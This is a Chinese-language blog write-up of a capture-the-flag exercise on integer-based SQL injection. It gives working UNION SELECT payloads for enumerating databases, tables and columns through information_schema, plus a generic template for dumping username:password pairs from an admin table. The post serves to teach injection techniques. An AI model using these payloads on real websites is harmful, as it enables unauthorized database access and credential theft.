web安全学习-------2.sql整数型注入

web安全学习-------2.sql整数型注入_第1张图片
这是作者遇到的一个题目,当然这个题目也很直白,整数型注入。
我们一次填入1,2,3会发现只有1和2有回显,3并没有回显。说明可以查询到的数据有两个。web安全学习-------2.sql整数型注入_第2张图片
web安全学习-------2.sql整数型注入_第3张图片
接着我们测试一下数据有几列:

测试列数:
GET:id=1 order by 3#
POST:id=1’ order by 3#
web安全学习-------2.sql整数型注入_第4张图片
我们可以看到3并没有回显,2的时候正常显示,所以数据一共两列。

接下来就是尝试联合查询了,记得把前面的查询数据置空,写成id=0即可,显示正常,说明确确实实存在这两列数据 。web安全学习-------2.sql整数型注入_第5张图片
接下来就是一些套路操作了:

  1. 暴库名
  2. 爆表名
  3. 爆列名
  4. 获取数据

就酱都是大同小异,输入的sql语句也有格式可寻:

1.暴库名:
id=0 union select 1,database()#
这里select user(),version()还可有求出数据库的用户和数据库的版本,当然我们这里是不需要的。
web安全学习-------2.sql整数型注入_第6张图片
sqli即是我们所求的数据库名。

2.爆表名
我们就要根据sqli去求出这个表名
id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
web安全学习-------2.sql整数型注入_第7张图片
flag即是我们所要求的表名,接下来我们就是要通过flag求出列名。

3.爆列名
id=0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag’
web安全学习-------2.sql整数型注入_第8张图片
这里一定一定要注意在输入sql语句是是英文字符状态,我在这里因为是中文状态卡了好一会。

4.获取数据
我们已经将数据的列名flag得到,那么接下来就是通过表名和列名来求到flag。
id=0 union select 1,flag from flag
web安全学习-------2.sql整数型注入_第9张图片
id和=是连在一起的,否则也是无法得到结果的。

最后关于手工注入的补充一点知识:

mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注入中可以用到的几个表。

SCHEMATA 存储数据库名的,
关键字段:SCHEMA_NAME,表示数据库名称
TABLES 存储表名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
COLUMNS 存储字段名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名

爆所有数据名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572
得到字段具体的值 select group_concat(username,0x3a,password) from adminuser

你可能感兴趣的:(web安全)